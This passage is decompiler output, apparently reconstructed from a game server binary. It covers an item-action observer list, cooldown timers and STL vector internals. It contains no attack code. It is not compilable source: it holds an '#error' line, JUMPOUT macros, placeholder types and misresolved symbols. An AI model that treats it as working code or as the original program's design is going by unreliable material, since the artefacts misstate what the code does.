v1->baseclass_0.vfptr = (ListVtbl *)ItemActionObserveBuffer::_vftable_; v2 = v1->baseclass_0.l_Array; if ( v2 ) operator delete__(v2); } // 67E9D8: using guessed type int (__stdcall *ItemActionObserveBuffer___vftable_[3])(__int16 hnd); //----- (005992E0) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, ItemActionObserve *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); *(_WORD *)(v3 + 4) = ele->iao_ListHandle; *(_DWORD *)(v3 + 8) = ele->iao_pAction; *(_WORD *)(v3 + 12) = ele->iao_ActionID; *(_WORD *)(v3 + 14) = ele->iao_itemid; *(_BYTE *)(v3 + 16) = ele->iao_IsEnchant; return 1; } // 5992F5: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (00599330) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, ItemActionObserve *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); *(_WORD *)(v3 + 4) = ele->iao_ListHandle; *(_DWORD *)(v3 + 8) = ele->iao_pAction; *(_WORD *)(v3 + 12) = ele->iao_ActionID; *(_WORD *)(v3 + 14) = ele->iao_itemid; *(_BYTE *)(v3 + 16) = ele->iao_IsEnchant; return 1; } // 599346: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (00599380) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, ItemActionObserve *ele) { ListStruct *v2; // edx@1 unsigned __int16 v3; // si@1 int v4; // eax@2 int v6; // eax@4 v2 = this->l_Array; v3 = v2[this->l_Finger.store].ls_Next; if ( v3 < this->l_MaxSize ) { v4 = (int)&v2[v3]; if ( !*(_BYTE *)(v4 + 8) ) return 0; v6 = *(_DWORD *)v4; ele->iao_ListHandle = *(_WORD *)(v6 + 4); ele->iao_pAction = *(Action **)(v6 + 8); ele->iao_ActionID = *(_WORD *)(v6 + 12); ele->iao_itemid = *(_WORD *)(v6 + 14); ele->iao_IsEnchant = *(_BYTE *)(v6 + 16); ((void (__stdcall *)(unsigned __int16))this->vfptr->l_Free)(v3); } return 1; } //----- (005993F0) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, ItemActionObserve *ele) { ListStruct *v2; // edx@1 unsigned __int16 v3; // si@1 int v4; // eax@2 int v6; // eax@4 v2 = this->l_Array; v3 = v2[this->l_Finger.store].ls_Prev; if ( v3 < this->l_MaxSize ) { v4 = (int)&v2[v3]; if ( !*(_BYTE *)(v4 + 8) ) return 0; v6 = *(_DWORD *)v4; ele->iao_ListHandle = *(_WORD *)(v6 + 4); ele->iao_pAction = *(Action **)(v6 + 8); ele->iao_ActionID = *(_WORD *)(v6 + 12); ele->iao_itemid = *(_WORD *)(v6 + 14); ele->iao_IsEnchant = *(_BYTE *)(v6 + 16); ((void (__stdcall *)(unsigned __int16))this->vfptr->l_Free)(v3); } return 1; } //----- (00599460) -------------------------------------------------------- SHINE_XY_TYPE *__cdecl std::copy_backward(SHINE_XY_TYPE *_First, SHINE_XY_TYPE *_Last, SHINE_XY_TYPE *_Dest) { SHINE_XY_TYPE *v3; // ecx@1 SHINE_XY_TYPE *result; // eax@1 unsigned int v5; // esi@2 v3 = _Last; for ( result = _Dest; v3 != _First; result->y = v3->y ) { v5 = v3[-1].x; --v3; --result; result->x = v5; } return result; } //----- (00599490) -------------------------------------------------------- ItemActionObserveManager::GroupCoolTime *__cdecl std::_Uninit_copy>(ItemActionObserveManager::GroupCoolTime *_First, ItemActionObserveManager::GroupCoolTime *_Last, ItemActionObserveManager::GroupCoolTime *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { ItemActionObserveManager::GroupCoolTime *v5; // ecx@1 ItemActionObserveManager::GroupCoolTime *result; // eax@1 v5 = _First; for ( result = _Dest; v5 != _Last; ++result ) { if ( result ) { result->CoolTimer.m_CurDelayTime = v5->CoolTimer.m_CurDelayTime; result->CoolTimer.m_DelayTime = v5->CoolTimer.m_DelayTime; *(_DWORD *)&result->CoolTimer.m_bEnable = *(_DWORD *)&v5->CoolTimer.m_bEnable; result->ActionGroupID = v5->ActionGroupID; result->ActionID = v5->ActionID; result->LastCheckTime = v5->LastCheckTime; } ++v5; } return result; } //----- (005994E0) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(ItemActionObserveManager::GroupCoolTime *_First, unsigned int _Count, ItemActionObserveManager::GroupCoolTime *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { unsigned int v5; // ecx@2 ItemActionObserveManager::GroupCoolTime *v6; // eax@2 if ( _Count ) { v5 = _Count; v6 = _First; do { if ( v6 ) { v6->CoolTimer.m_CurDelayTime = _Val->CoolTimer.m_CurDelayTime; v6->CoolTimer.m_DelayTime = _Val->CoolTimer.m_DelayTime; *(_DWORD *)&v6->CoolTimer.m_bEnable = *(_DWORD *)&_Val->CoolTimer.m_bEnable; v6->ActionGroupID = _Val->ActionGroupID; v6->ActionID = _Val->ActionID; v6->LastCheckTime = _Val->LastCheckTime; } ++v6; --v5; } while ( v5 ); } } //----- (00599530) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 632E04: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (00599580) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (005996A0) -------------------------------------------------------- ActionResult *__thiscall Action::raise(Action *this, ActionResult *result, ItemActionArgument *arg) { ItemActionArgument *v3; // ebx@1 Action *v4; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v5; // ecx@1 std::_Tree_nod,std::allocator,0> >::_Node *v6; // esi@1 bool v7; // al@1 unsigned int v8; // ebp@1 bool v9; // zf@1 std::_Tree_nod,std::allocator,0> >::_Node *v10; // ecx@4 std::_Tree_nod,std::allocator,0> >::_Node *j; // ecx@5 std::_Tree_nod,std::allocator,0> >::_Node *i; // ecx@8 ItemActionArgument **v13; // edx@13 ItemActionArgument *v14; // ecx@13 ActionResult *v15; // eax@15 int v16; // esi@15 unsigned int v17; // ebp@15 ActionResult *v18; // eax@16 ActionResult resulta; // [sp+10h] [bp-8h]@1 v3 = arg; v4 = this; v5 = this->_conditions.baseclass_0._Myhead; v6 = v5->_Left; v7 = 0; v8 = 0; v9 = v5->_Left == v5; resulta.checkSuccess = 0; if ( !v9 ) { do { v7 = IActCondition::check(v6->_Myval, v3); resulta.checkSuccess = v7; if ( v7 ) break; if ( !v6->_Isnil ) { v10 = v6->_Right; if ( v10->_Isnil ) { for ( i = v6->_Parent; !i->_Isnil; i = i->_Parent ) { if ( v6 != i->_Right ) break; v6 = i; } v6 = i; } else { v6 = v6->_Right; for ( j = v10->_Left; !j->_Isnil; j = j->_Left ) v6 = j; } } } while ( v6 != v4->_conditions.baseclass_0._Myhead ); } v13 = (ItemActionArgument **)v4->_effects.baseclass_0._Myhead; v14 = *v13; arg = *v13; if ( !v7 ) { if ( (ItemActionArgument **)v14 != v13 ) { do { v8 = (*(int (__stdcall **)(ItemActionArgument *))(*(_DWORD *)v14->effect.subtype.attackType + 16))(v3); std::_Tree_std::allocator_0>>::const_iterator::_Inc((std::_Tree,std::allocator,0> >::const_iterator *)&arg); v14 = arg; } while ( (std::_Tree_nod,std::allocator,0> >::_Node *)arg != v4->_effects.baseclass_0._Myhead ); } goto LABEL_19; } if ( (ItemActionArgument **)v14 == v13 ) { LABEL_19: v18 = result; *(_DWORD *)&result->checkSuccess = *(_DWORD *)&resulta; result->value = v8; return v18; } do { v15 = IActEffect::execute((IActEffect *)v14->effect.subtype.attackType, &resulta, v3); v16 = *(_DWORD *)&v15->checkSuccess; v17 = v15->value; std::_Tree_std::allocator_0>>::const_iterator::_Inc((std::_Tree,std::allocator,0> >::const_iterator *)&arg); v14 = arg; } while ( (std::_Tree_nod,std::allocator,0> >::_Node *)arg != v4->_effects.baseclass_0._Myhead ); v18 = result; *(_DWORD *)&result->checkSuccess = v16; result->value = v17; return v18; } //----- (005997B0) -------------------------------------------------------- ActionResult *__thiscall ItemActionObserve::EventRun(ItemActionObserve *this, ActionResult *result, ItemActionArgument *pArgument) { Action *v3; // ecx@3 ActionResult *v4; // eax@5 unsigned int v5; // edx@6 const char *v6; // [sp-8h] [bp-10h]@2 int v7; // [sp-4h] [bp-Ch]@2 int hr; // [sp+0h] [bp-8h]@6 unsigned int v9; // [sp+4h] [bp-4h]@6 if ( !pArgument ) { v7 = 0; v6 = "ItemActionObserveBuffer::EventRun pArgument is NULL"; LABEL_5: AssertClass::ac_AssertFail(&shineassert, v6, v7); v4 = result; result->checkSuccess = 0; result->value = 0; return v4; } v3 = this->iao_pAction; if ( !v3 ) { v7 = 0; v6 = "ItemActionObserveBuffer::EventRun iao_pAction is NULL"; goto LABEL_5; } Action::raise(v3, (ActionResult *)&hr, pArgument); v4 = result; v5 = v9; *(_DWORD *)&result->checkSuccess = hr; result->value = v5; return v4; } //----- (00599810) -------------------------------------------------------- ItemActionObserveManager::GroupCoolTime *__thiscall std::vector>::_Ufill(std::vector > *this, ItemActionObserveManager::GroupCoolTime *_Ptr, unsigned int _Count, ItemActionObserveManager::GroupCoolTime *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (00599840) -------------------------------------------------------- #error "599840: undefined or illegal type 'ListArray' (funcsize=98)" //----- (00599970) -------------------------------------------------------- ItemActionObserveBuffer *__cdecl ItemActionObserveBuffer::Instance() { if ( !(_S5_68 & 1) ) { _S5_68 |= 1u; ItemActionObserveBuffer::ItemActionObserveBuffer(&ObBuffer); atexit(_E6_86); } return &ObBuffer; } //----- (005999D0) -------------------------------------------------------- char __thiscall ItemActionObserveManager::DelAction(ItemActionObserveManager *this, #593 *a2, unsigned __int16 ActionID, unsigned __int16 ItemID) { ItemActionObserveManager *v4; // edi@1 char result; // al@2 ItemActionObserve **v6; // eax@3 ItemActionObserve **v7; // ecx@3 ItemActionObserve *v8; // esi@4 ItemActionObserveBuffer *v9; // eax@8 v4 = this; if ( a2 ) { v6 = this->iaom_Observes._Myfirst; v7 = this->iaom_Observes._Mylast; if ( v6 == v7 ) { LABEL_7: result = 0; } else { while ( 1 ) { v8 = *v6; if ( ActionID == (*v6)->iao_ActionID ) { if ( ItemID == v8->iao_itemid ) break; } ++v6; if ( v6 == v4->iaom_Observes._Mylast ) goto LABEL_7; } memmove((char *)v6, (char *)v6 + 4, 4 * (v7 - (v6 + 1))); --v4->iaom_Observes._Mylast; v8->iao_pAction = 0; v8->iao_ActionID = -1; v9 = ItemActionObserveBuffer::Instance(); if ( !v9->baseclass_0.vfptr->l_Free((List *)v9, v8->iao_ListHandle) ) AssertClass::ac_AssertFail(&shineassert, "ItemActionObserveManager::DelAction Can`t Free", 0); result = 1; } } else { result = 0; } return result; } //----- (00599A70) -------------------------------------------------------- void __thiscall ItemActionObserveManager::UpDate(ItemActionObserveManager *this) { ItemActionObserveManager *v1; // esi@1 ItemActionObserveManager::GroupCoolTime *v2; // edi@1 std::_Nonscalar_ptr_iterator_tag __formal; // [sp+0h] [bp-4h]@1 __formal.dummy[0] = (char)this; v1 = this; v2 = this->iaom_CoolTimeList._Myfirst; if ( v2 != this->iaom_CoolTimeList._Mylast ) { do { if ( TickTimer::CheckUpdateEvent(&v2->CoolTimer, clockwatch.cw_DeltaTick) ) { std::_Copy_opt( v2 + 1, v1->iaom_CoolTimeList._Mylast, v2, __formal); --v1->iaom_CoolTimeList._Mylast; } else { ++v2; } } while ( v2 != v1->iaom_CoolTimeList._Mylast ); } } //----- (00599AC0) -------------------------------------------------------- void __thiscall std::vector>::_Xran(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid vector subscript", 0x1Bu); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } // 689C04: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (00599B30) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00599BA0) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, ActionResult *_Val) { unsigned int v4; // edx@1 std::vector > *v5; // esi@1 ActionResult *v6; // ecx@1 int v7; // eax@2 unsigned int v8; // ebx@4 int v9; // edx@6 int v10; // edx@11 int v11; // eax@15 int v12; // edx@18 int v13; // eax@22 void *v14; // edi@25 std::vector >::iterator v15; // ST14_4@25 ActionResult *v16; // ecx@25 int v17; // eax@26 int v18; // ebx@28 std::vector >::iterator v19; // eax@31 std::vector >::iterator v20; // edi@31 bool v21; // cf@31 unsigned int v22; // ecx@31 unsigned int v23; // ST24_4@32 SHINE_XY_TYPE *v24; // ST20_4@32 int v25; // ebx@32 SHINE_XY_TYPE *v26; // ebx@33 std::_Nonscalar_ptr_iterator_tag v27; // [sp-4h] [bp-2Ch]@31 int v28; // [sp+0h] [bp-28h]@1 int _Tmp; // [sp+Ch] [bp-1Ch]@1 unsigned int v30; // [sp+10h] [bp-18h]@1 void *_Newvec; // [sp+14h] [bp-14h]@25 int *v32; // [sp+18h] [bp-10h]@1 int v33; // [sp+24h] [bp-4h]@25 unsigned int _Wherea; // [sp+30h] [bp+8h]@31 int _Counta; // [sp+34h] [bp+Ch]@25 SHINE_XY_TYPE *_Valb; // [sp+38h] [bp+10h]@25 SHINE_XY_TYPE *_Vala; // [sp+38h] [bp+10h]@31 v4 = _Val->value; v5 = this; _Tmp = *(_DWORD *)&_Val->checkSuccess; v6 = this->_Myfirst; v32 = &v28; v30 = v4; if ( v6 ) v7 = v5->_Myend - v6; else v7 = 0; v8 = _Count; if ( _Count ) { if ( v6 ) v9 = v5->_Mylast - v6; else v9 = 0; if ( 536870911 - v9 < _Count ) std::vector>::_Xlen(v5); if ( v6 ) v10 = v5->_Mylast - v6; else v10 = 0; if ( v7 >= _Count + v10 ) { v19 = (std::vector >::iterator)v5->_Mylast; v20 = _Where; v21 = (signed int)((char *)v5->_Mylast - *(_DWORD *)&_Where) >> 3 < _Count; v22 = 8 * _Count; _Wherea = 8 * _Count; v27.dummy[0] = 8 * _Count; _Vala = (SHINE_XY_TYPE *)v5->_Mylast; if ( v21 ) { std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( (std::vector >::iterator)v20, v19, (SHINE_XY_TYPE *)(*(_DWORD *)&v20 + v22), (std::allocator *)v5, v27); v23 = _Count - ((signed int)((char *)v5->_Mylast - *(_DWORD *)&v20) >> 3); v24 = (SHINE_XY_TYPE *)v5->_Mylast; v33 = 2; std::vector>::_Ufill( (std::vector > *)v5, v24, v23, (SHINE_XY_TYPE *)&_Tmp); v25 = (int)&v5->_Mylast[_Wherea / 8]; v5->_Mylast = (ActionResult *)v25; std::fill( *(SHINE_XY_TYPE **)&v20, (SHINE_XY_TYPE *)(v25 - _Wherea), (SHINE_XY_TYPE *)&_Tmp); } else { v26 = (SHINE_XY_TYPE *)(*(_DWORD *)&v19 - v22); v5->_Mylast = (ActionResult *)std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( (std::vector >::iterator)(*(_DWORD *)&v19 - v22), v19, *(SHINE_XY_TYPE **)&v19, (std::allocator *)v5, v27); std::copy_backward(*(SHINE_XY_TYPE **)&v20, v26, _Vala); std::fill( *(SHINE_XY_TYPE **)&v20, (SHINE_XY_TYPE *)(*(_DWORD *)&v20 + _Wherea), (SHINE_XY_TYPE *)&_Tmp); } } else { if ( 536870911 - ((unsigned int)v7 >> 1) >= v7 ) v11 = ((unsigned int)v7 >> 1) + v7; else v11 = 0; if ( v6 ) v12 = v5->_Mylast - v6; else v12 = 0; if ( v11 < _Count + v12 ) { if ( v6 ) v13 = v5->_Mylast - v6; else v13 = 0; v11 = _Count + v13; } _Counta = 8 * v11; v14 = operator new(8 * v11); v15 = (std::vector >::iterator)v5->_Myfirst; _Newvec = v14; v33 = 0; _Valb = std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( v15, (std::vector >::iterator)_Where, (SHINE_XY_TYPE *)v14, (std::allocator *)v5, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Valb, v8, (SHINE_XY_TYPE *)&_Tmp, (std::allocator *)v5, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( (std::vector >::iterator)_Where, (std::vector >::iterator)v5->_Mylast, &_Valb[v8], (std::allocator *)v5, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v16 = v5->_Myfirst; if ( v16 ) v17 = v5->_Mylast - v16; else v17 = 0; v18 = v17 + v8; if ( v16 ) operator delete(v5->_Myfirst); v5->_Myend = (ActionResult *)((char *)v14 + _Counta); v5->_Mylast = (ActionResult *)((char *)v14 + 8 * v18); v5->_Myfirst = (ActionResult *)v14; } } } //----- (00599DF0) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, ItemActionObserve *const *_Val) { std::vector > *v4; // esi@1 ItemActionObserve **v5; // edx@1 signed int v6; // eax@2 unsigned int v7; // edi@4 signed int v8; // ecx@6 int v9; // ecx@11 int v10; // eax@15 int v11; // ecx@18 int v12; // eax@22 void *v13; // eax@25 unsigned int v14; // ebp@25 int v15; // eax@25 #593 **v16; // eax@25 ItemActionObserve **v17; // eax@25 int v18; // ecx@26 int v19; // edi@28 int v20; // ebp@31 std::vector >::iterator v21; // ebx@31 int v22; // edx@31 unsigned int v23; // eax@31 int v24; // ecx@32 #593 **v25; // edi@33 void *_Newvec; // [sp+0h] [bp-4h]@25 unsigned int _Wherea; // [sp+8h] [bp+4h]@31 int _Counta; // [sp+Ch] [bp+8h]@25 v4 = this; v5 = this->_Myfirst; _Val = (ItemActionObserve *const *)*_Val; if ( v5 ) v6 = this->_Myend - v5; else v6 = 0; v7 = _Count; if ( _Count ) { if ( v5 ) v8 = this->_Mylast - v5; else v8 = 0; if ( 1073741823 - v8 < _Count ) std::vector>::_Xlen((std::vector > *)v4); if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( v6 >= _Count + v9 ) { v20 = (int)v4->_Mylast; v21 = _Where; v22 = (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2; v23 = 4 * _Count; _Wherea = 4 * _Count; if ( v22 >= _Count ) { v25 = (#593 **)(v20 - v23); v4->_Mylast = (ItemActionObserve **)std::vector>::_Ucopy( (char *)(v20 - v23), v20, (char *)v20); std::copy_backward( *(#593 ***)&v21, v25, (#593 **)v20); std::fill( *(std::list,std::allocator > >::iterator **)&v21, (std::list,std::allocator > >::iterator *)(*(_DWORD *)&v21 + _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } else { std::vector>::_Ucopy( *(char **)&v21, v20, (char *)(*(_DWORD *)&v21 + v23)); std::vector>::_Ufill( (std::vector > *)v4, (#593 **)v4->_Mylast, _Count - ((signed int)((char *)v4->_Mylast - *(_DWORD *)&v21) >> 2)); v24 = (int)&v4->_Mylast[_Wherea / 4]; v4->_Mylast = (ItemActionObserve **)v24; std::fill( *(std::list,std::allocator > >::iterator **)&v21, (std::list,std::allocator > >::iterator *)(v24 - _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } } else { if ( 1073741823 - ((unsigned int)v6 >> 1) >= v6 ) v10 = ((unsigned int)v6 >> 1) + v6; else v10 = 0; if ( v5 ) v11 = v4->_Mylast - v5; else v11 = 0; if ( v10 < _Count + v11 ) { if ( v5 ) v12 = v4->_Mylast - v5; else v12 = 0; v10 = _Count + v12; } _Counta = 4 * v10; v13 = operator new(4 * v10); v14 = 4 * ((signed int)(*(_DWORD *)&_Where - (unsigned int)v4->_Myfirst) >> 2); _Newvec = v13; memmove((char *)v13, (char *)v4->_Myfirst, v14); v16 = std::vector>::_Ufill( (std::vector > *)v4, (#593 **)(v14 + v15), v7); memmove((char *)v16, *(char **)&_Where, 4 * ((signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2)); v17 = v4->_Myfirst; if ( v17 ) v18 = v4->_Mylast - v17; else v18 = 0; v19 = v18 + v7; if ( v17 ) operator delete(v4->_Myfirst); v4->_Myend = (ItemActionObserve **)((char *)_Newvec + _Counta); v4->_Mylast = (ItemActionObserve **)((char *)_Newvec + 4 * v19); v4->_Myfirst = (ItemActionObserve **)_Newvec; } } } //----- (00599FD0) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, ItemActionObserveManager::GroupCoolTime *_Val) { std::vector > *v4; // esi@1 unsigned int v5; // edx@1 ItemActionObserveManager::GroupCoolTime *v6; // ebx@1 int v7; // ecx@1 unsigned int v8; // edx@1 unsigned int v9; // ecx@1 unsigned int v10; // edx@1 unsigned int v11; // ecx@2 signed int v12; // edx@3 unsigned int v13; // edi@4 int v14; // eax@6 int v15; // eax@11 int v16; // ecx@15 int v17; // eax@18 int v18; // ebx@22 ItemActionObserveManager::GroupCoolTime *v19; // ST18_4@22 int v20; // eax@22 int v21; // edi@24 ItemActionObserveManager::GroupCoolTime *v22; // ecx@27 std::vector >::iterator v23; // ebx@27 ItemActionObserveManager::GroupCoolTime *v24; // ecx@28 ItemActionObserveManager::GroupCoolTime *v25; // ST24_4@28 unsigned int v26; // edi@28 int v27; // [sp+0h] [bp-34h]@1 unsigned int _Tmp; // [sp+Ch] [bp-28h]@1 unsigned int v29; // [sp+10h] [bp-24h]@1 int v30; // [sp+14h] [bp-20h]@1 unsigned int v31; // [sp+18h] [bp-1Ch]@1 unsigned int v32; // [sp+1Ch] [bp-18h]@1 unsigned int v33; // [sp+20h] [bp-14h]@1 int *v34; // [sp+24h] [bp-10h]@1 int v35; // [sp+30h] [bp-4h]@22 ItemActionObserveManager::GroupCoolTime *_Wherea; // [sp+3Ch] [bp+8h]@29 ItemActionObserveManager::GroupCoolTime *_Counta; // [sp+40h] [bp+Ch]@22 void *_Newvec; // [sp+44h] [bp+10h]@22 ItemActionObserveManager::GroupCoolTime *_Newveca; // [sp+44h] [bp+10h]@27 v4 = this; v5 = _Val->CoolTimer.m_DelayTime; v6 = this->_Myfirst; _Tmp = _Val->CoolTimer.m_CurDelayTime; v7 = *(_DWORD *)&_Val->CoolTimer.m_bEnable; v29 = v5; v8 = _Val->ActionGroupID; v30 = v7; v9 = _Val->ActionID; v31 = v8; v10 = _Val->LastCheckTime; v34 = &v27; v32 = v9; v33 = v10; if ( v6 ) { v12 = (signed int)((unsigned __int64)(715827883i64 * (unsigned int)((char *)v4->_Myend - (char *)v6)) >> 32) >> 2; v11 = v12 + ((unsigned int)v12 >> 31); } else { v11 = 0; } v13 = _Count; if ( _Count ) { if ( v6 ) v14 = v4->_Mylast - v6; else v14 = 0; if ( (unsigned int)&wholesaver.ws_savestore[2017].esc_skill.buffer[-v14 + 6422] < _Count ) std::vector>::_Xlen(v4); if ( v6 ) v15 = v4->_Mylast - v6; else v15 = 0; if ( v11 >= _Count + v15 ) { v22 = v4->_Mylast; v23 = _Where; _Newveca = v4->_Mylast; if ( (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 24 >= _Count ) { _Wherea = &v22[-_Count]; v4->_Mylast = std::_Uninit_copy>( &v22[-_Count], v22, v22, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)((_BYTE)v22 - 24 * _Count)); std::_Copy_backward_opt( *(ItemActionObserveManager::GroupCoolTime **)&v23, _Wherea, _Newveca, (std::_Nonscalar_ptr_iterator_tag)_Wherea); std::fill( *(ItemActionObserveManager::GroupCoolTime **)&v23, (ItemActionObserveManager::GroupCoolTime *)(*(_DWORD *)&v23 + 24 * _Count), (ItemActionObserveManager::GroupCoolTime *)&_Tmp); } else { std::_Uninit_copy>( *(ItemActionObserveManager::GroupCoolTime **)&_Where, v22, (ItemActionObserveManager::GroupCoolTime *)(*(_DWORD *)&_Where + 24 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)(24 * _Count)); v24 = v4->_Mylast; v25 = v4->_Mylast; v35 = 2; std::vector>::_Ufill( v4, v25, _Count - (signed int)((char *)v24 - *(_DWORD *)&_Where) / 24, (ItemActionObserveManager::GroupCoolTime *)&_Tmp); v26 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (ItemActionObserveManager::GroupCoolTime *)v26; std::fill( *(ItemActionObserveManager::GroupCoolTime **)&_Where, (ItemActionObserveManager::GroupCoolTime *)(v26 - 24 * _Count), (ItemActionObserveManager::GroupCoolTime *)&_Tmp); } } else { if ( (unsigned int)&wholesaver.ws_savestore[2017].esc_skill.buffer[-(v11 >> 1) + 6422] >= v11 ) v16 = (v11 >> 1) + v11; else v16 = 0; if ( v6 ) v17 = v4->_Mylast - v6; else v17 = 0; if ( v16 < _Count + v17 ) v16 = _Count + std::vector>::size((std::vector > *)v4); v18 = 24 * v16; _Newvec = operator new(24 * v16); v19 = v4->_Myfirst; v35 = 0; _Counta = std::_Uninit_copy>( v19, *(ItemActionObserveManager::GroupCoolTime **)&_Where, (ItemActionObserveManager::GroupCoolTime *)_Newvec, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Counta, v13, (ItemActionObserveManager::GroupCoolTime *)&_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>( *(ItemActionObserveManager::GroupCoolTime **)&_Where, v4->_Mylast, &_Counta[v13], &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v20 = (int)v4->_Myfirst; if ( v20 ) v20 = (signed int)((char *)v4->_Mylast - v20) / 24; v21 = v20 + v13; if ( v4->_Myfirst ) operator delete(v4->_Myfirst); v4->_Myend = (ItemActionObserveManager::GroupCoolTime *)((char *)_Newvec + v18); v4->_Mylast = (ItemActionObserveManager::GroupCoolTime *)((char *)_Newvec + 24 * v21); v4->_Myfirst = (ItemActionObserveManager::GroupCoolTime *)_Newvec; } } } //----- (0059A2A0) -------------------------------------------------------- unsigned int 